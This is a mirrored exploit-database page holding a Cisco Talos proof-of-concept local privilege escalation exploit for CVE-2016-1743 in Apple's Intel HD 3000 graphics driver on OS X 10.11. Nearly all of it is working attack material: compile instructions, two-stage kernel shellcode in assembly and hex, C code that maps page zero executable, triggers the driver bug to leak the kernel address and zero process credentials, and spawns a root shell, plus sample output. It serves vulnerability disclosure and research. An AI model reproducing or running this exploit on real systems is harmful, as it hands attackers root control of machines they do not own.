Apple Intel HD 3000 Graphics Driver 10.0.0 – Local Privilege Escalation

  • 作者: Piotr Bania
    日期: 2016-04-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39675/
  • /*
    
    ░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░
    ░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░
    ░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░
    T A L O S V U L N D E V
    
    Proof-of-Concept Exploit
    Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
    Snort rules: 37517, 37518
    CVE-2016-1743
    
    Author: Piotr Bania, Cisco Talos
    Target: Apple Intel HD 3000 Graphics driver 
    Impact: Local Privilege Escalation (root)
    
    Tested Configuration: 
    Apple Intel HD 3000 Graphics driver 10.0.0
    Darwin Kernel Version 15.2.0
    OSX 10.11.2
    
    Compilation: 
    gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
    
    kudos: 
    qwertyoruiop (i've grabbed the lsym thing from you)
    
    
    technical information (AppleIntelHD3000Graphics driver 10.0.0) :
    ...
    __text:000000000001AA4E mov ecx, [rcx]
    __text:000000000001AA50 add ecx, ecx
    __text:000000000001AA52 sub eax, ecx
    __text:000000000001AA54 cmp rbx, rax
    __text:000000000001AA57 jaloc_1AC8C
    __text:000000000001AA5D mov [rbp+var_54], esi
    __text:000000000001AA60 mov rax, [rdi]
    __text:000000000001AA63 mov esi, 168h
    __text:000000000001AA68 callqword ptr [rax+980h] ; # WE CAN CONTROL THIS #
    
    
    Expected output:
    
    mac-mini:bug mini$ uname -a
    Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64
    
    mac-mini:bug mini$ ./TALOS-2016-0088_poc
    ---------------------------------------------------------------- 
    APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 
    by Piotr Bania / CISCO TALOS
    ---------------------------------------------------------------- 
    
    
    Alloc: deallocating! 
    Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
    Alloc: vm_allocate ok, now vm_protect ...
    Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
    Mapping the kernel 
    MapKernel: kernel mapped 
    Initializing service 
    InitService: Trying: Gen6Accelerator 
    InitService: service ok! 
    Commencing stage 1 
    Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 
    Stage1: Setting up the RIP to 0x00001000 
    Stage1: Copying trigger data 
    Stage1: Making stage1 call
    Stage1: leaked kernel address 0xffffff8021e00000 
    Stage1: kernel address leaked, success! 
    ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) 
    ResolveApi: _current_proc = 0xffffff8022437a60
    ResolveApi: _proc_ucred = 0xffffff80223a9af0
    ResolveApi: _posix_cred_get = 0xffffff802237e780
    ResolveApi: _chgproccnt = 0xffffff80223a8400
    Commencing stage 2 
    Stage2: preparing the stage2 payload 
    Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 
    Stage2: Setting up the RIP to 0x00001000 
    Stage2: Copying trigger data 
    Stage2: Making stage2 call
    Stage2: success, got root! 
    Stage2: now executing shell 
    sh-3.2# whoami
    root
    sh-3.2# 
    
    */
    
    
    #include "import.h"
    
    /**
    
    defines
    
    **/
    
    #define MEM_SIZE0x2000
    #define PAYLOAD_MEM_START 0x1000
    #define INIT_SIG0x0210010100000008
    #define OFFSET_PAYLOAD_EXEC 0x980
    #define OFFSET_ROOM 64
    
    #define RESOLVE_SYMBOL_MY(map, name)lsym_find_symbol(map, name) - base + KernelAddr
    
    
    /**
    
    stage 1 payload - get kernel address and put it to 0x1000
    
     ; memory space for kernel address 
     
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     nop
     
     save_regs64
     
     
    ; get msr entry
    mov rcx, 0C0000082h ; lstar
    rdmsr				; MSR[ecx] --> edx:eax
    shl rdx, 32
    or	rax, rdx
    
    ; find kernel addr - scan backwards
    MAX_KERNEL_SCAN_SIZEequ 10000h
    KERNEL_SIGequ 01000007FEEDFACFh
    PAGE_SIZE equ 1000h
    
    
    mov rcx, MAX_KERNEL_SCAN_SIZE
    and rax, not 0FFFFFh
    xor rdx, rdx
    mov r8, KERNEL_SIG
    
     
    scan_loop:
    sub rax, PAGE_SIZE
    dec rcx
    jzscan_done
    
    ; is sig correct?
    cmp qword [rax], r8
    jnz scan_loop
    
    mov rdx, rax
    
    scan_done:
    
    ; store the addr - rdx kernel addr, 0 if not found
    lea rcx, [shell_start]
    mov qword [rcx], rdx
     
     load_regs64
     
    xor rax, rax
    xor r15, r15
    
    ret
     
    
    
    **/
    
    unsigned char stage1[113] = {
    	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 
    	0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 
    	0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 
    	0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 
    	0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 
    	0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 
    	0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 
    	0xC3
    };
    
    
    /**
    
    stage 2 payload - escalate
    
    jmp over_api_table
     
     
    api_current_procdq 0
    api_proc_ucreddq 0
    api_posix_cred_getdq 0
    api_chgproccntdq 0
     
     
     
     over_api_table:
     save_regs64 
    
     mov rax, qword [api_current_proc]
    callrax
    mov rdi, rax; rdi = cur_proc
    
    
    ; system v abi - rdi first arg
    mov rax, qword [api_proc_ucred]
    callrax
    
    
    ; rax = cur_ucred
    mov rdi, rax
    mov rax, qword [api_posix_cred_get]
    callrax
    
    ; rax = pcred
    mov dword [rax], 0
    mov dword [rax+8], 0
    
     load_regs64
     
    xor rax, rax
    xor r15, r15
    
    ret
    
    **/
    
    
    #define OFF_API_START 2 
    #define OFF_API_CURRENT_PROCOFF_API_START
    #define OFF_API_PROC_UCREDOFF_API_CURRENT_PROC+ 8
    #define OFF_API_POSIX_CRED_GETOFF_API_PROC_UCRED+ 8
    #define OFF_API_CHGPROCCNTOFF_API_POSIX_CRED_GET+ 8 // not used in this example
    
    
    unsigned char stage2[111] = {
    	0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    	0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 
    	0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 
    	0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 
    	0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 
    	0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
    };
    
    
    
    /**
    
    globals
    
    **/
    
    uint64_tmem;
    io_connect_tconn;
    
    uint64_tKernelAddr= 0;
    lsym_map_t* MappingKernel = 0;
    
    uint64_tapi_current_proc= 0;
    uint64_tapi_proc_ucred= 0;
    uint64_tapi_posix_cred_get= 0;
    uint64_tapi_chgproccnt= 0;
     
     
    
    
    /**
    
    functions
    
    **/
    
    
    
    uint64_t Alloc(uint32_t addr, uint32_t sz) 
    {
    mach_error_t	k_error;
    
    printf("Alloc: deallocating! \n");
    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
    
    printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
    k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
    
    if (k_error != KERN_SUCCESS)
    {
     printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
     exit(-1);
    }
    
    
    printf("Alloc: vm_allocate ok, now vm_protect ...\n");
     
    k_error =vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx
     
    if (k_error != KERN_SUCCESS)
    {
     printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
     exit(-1);
    }
     
    printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);
     
    while(sz--) *(char*)(addr+sz)=0;
    return addr;
    }
    
    
    int MapKernel(void)
    {
    
    MappingKernel = lsym_map_file("/mach_kernel");
    if (!MappingKernel || !MappingKernel->map) 
    {
    MappingKernel= lsym_map_file("/System/Library/Kernels/kernel");
    }
    
    if (!MappingKernel || !MappingKernel->map) 
    {
    printf("MapKernel: unable to map kernel, quiting \n");
    return -1;
    }
    
    
    printf("MapKernel: kernel mapped \n");
    return 1;
    }
    
    
    
    int ResolveApi(void)
    {
    
     
    uint64_tbase= lsym_kernel_base(MappingKernel);
    
    api_current_proc= RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
    api_proc_ucred= RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred"); 
    api_posix_cred_get= RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
    api_chgproccnt= RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");
    
    printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
    printf("ResolveApi: _current_proc = 0x%016llx\n", api_current_proc);
    printf("ResolveApi: _proc_ucred = 0x%016llx\n", api_proc_ucred);
    printf("ResolveApi: _posix_cred_get = 0x%016llx\n", api_posix_cred_get);
    printf("ResolveApi: _chgproccnt = 0x%016llx\n", api_chgproccnt);
     
    return 1;
    
    }
    
    
    
    
    int InitService(char *IoServiceName)
    {
    int type;
    io_service_tservice;
    CFMutableDictionaryRefmatching;
    io_iterator_t iterator;
    
    printf("InitService: Trying: %s \n", IoServiceName);
    
    matching = IOServiceMatching(IoServiceName);
    
    if( !matching) 
    {
    printf("Initservice: IOServiceMatching() failed \n");
    return -1;
    }
    
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) 
    {
    printf("InitService: IOServiceGetMatchingServices failed \n");
    return -1;
    }
    
     
    service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL) 
    {
    printf("InitService: IOIteratorNext failed \n");
    return -1;
    }
    
    
    type= 0;
    conn= MACH_PORT_NULL;
    if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) 
    {
    printf("InitService: IOServiceOpen failed! \n");
    return -1;
    }
     
    printf("InitService: service ok! \n");
    return 1;
    }
    
    
    
    int Stage1(void)
    {
    unsignedchar*p;
    unsignedchar*p_ptr;
    
    kern_return_t k_error;
    
    charUselessStruct[4096];
    size_tUselessStructSize = 0x14; 
    
    
    p = (unsigned char*)mem; 
    p_ptr = p + OFFSET_ROOM;
    
    
    
    printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));
    
    printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
    
    printf("Stage1: Copying trigger data \n");
    *(uint64_t*)p_ptr= INIT_SIG;
    
    printf("Stage1: Making stage1 call\n");
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
     
    KernelAddr= *(uint64_t*)PAYLOAD_MEM_START;
    printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);
    
    if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) 
    {
    printf("Stage1: fatal kernel address is wrong, exiting \n");
    return -1;
    }
    
    printf("Stage1: kernel address leaked, success! \n");
    return 1;
    }
    
    
    int Stage2(void)
    {
    int i;
    unsignedchar*p;
    unsignedchar*p_ptr;
    
    kern_return_t k_error;
    
    charUselessStruct[4096];
    size_tUselessStructSize = 0x14; 
    
    
    p = (unsigned char*)mem; 
    p_ptr = p + OFFSET_ROOM;
    
    
    printf("Stage2: preparing the stage2 payload \n");
    
    unsigned char *t= (unsigned char*)&stage2;
    *(uint64_t*)(t + OFF_API_CURRENT_PROC)= api_current_proc;
    *(uint64_t*)(t + OFF_API_PROC_UCRED)= api_proc_ucred;
    *(uint64_t*)(t + OFF_API_POSIX_CRED_GET)= api_posix_cred_get;
    *(uint64_t*)(t + OFF_API_CHGPROCCNT)= api_chgproccnt;
     
    
    printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));
    
    printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
    
     
    printf("Stage2: Copying trigger data \n");
    *(uint64_t*)p_ptr= INIT_SIG;
    
     
    printf("Stage2: Making stage2 call\n");
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
     
    
    setuid(0);
    if (getuid() == 0) 
    {
    
    printf("Stage2: success, got root! \n");
    printf("Stage2: now executing shell \n");
    
    system("/bin/sh");
    exit(0);
    }
    
    
    printf("Stage2: failed! \n");
    return -1;
    
    }
    
    
    
    
    int main(void)
    {
    printf(" ---------------------------------------------------------------- \n");
    printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); 
    printf(" by Piotr Bania / CISCO TALOS \n");
    printf(" ---------------------------------------------------------------- \n\n\n");
    
    
    IOServiceClose(0);
    IOServiceOpen(0, 0, 0, 0); 
    
    // if this fails and we are done 
    mem = Alloc(0, MEM_SIZE);
    
    
    printf("Mapping the kernel \n");
    
    if (MapKernel() == -1)
    return -1;
     
    printf("Initializing service \n");
    
    if (InitService("Gen6Accelerator") == -1)
    return -1;
    
    printf("Commencing stage 1 \n");
    
    if (Stage1() == -1)
    return -1;
    
    if (ResolveApi() == -1)
    return -1;
    
    printf("Commencing stage 2 \n");
     
    Stage2();
     
     
    return 1;
    }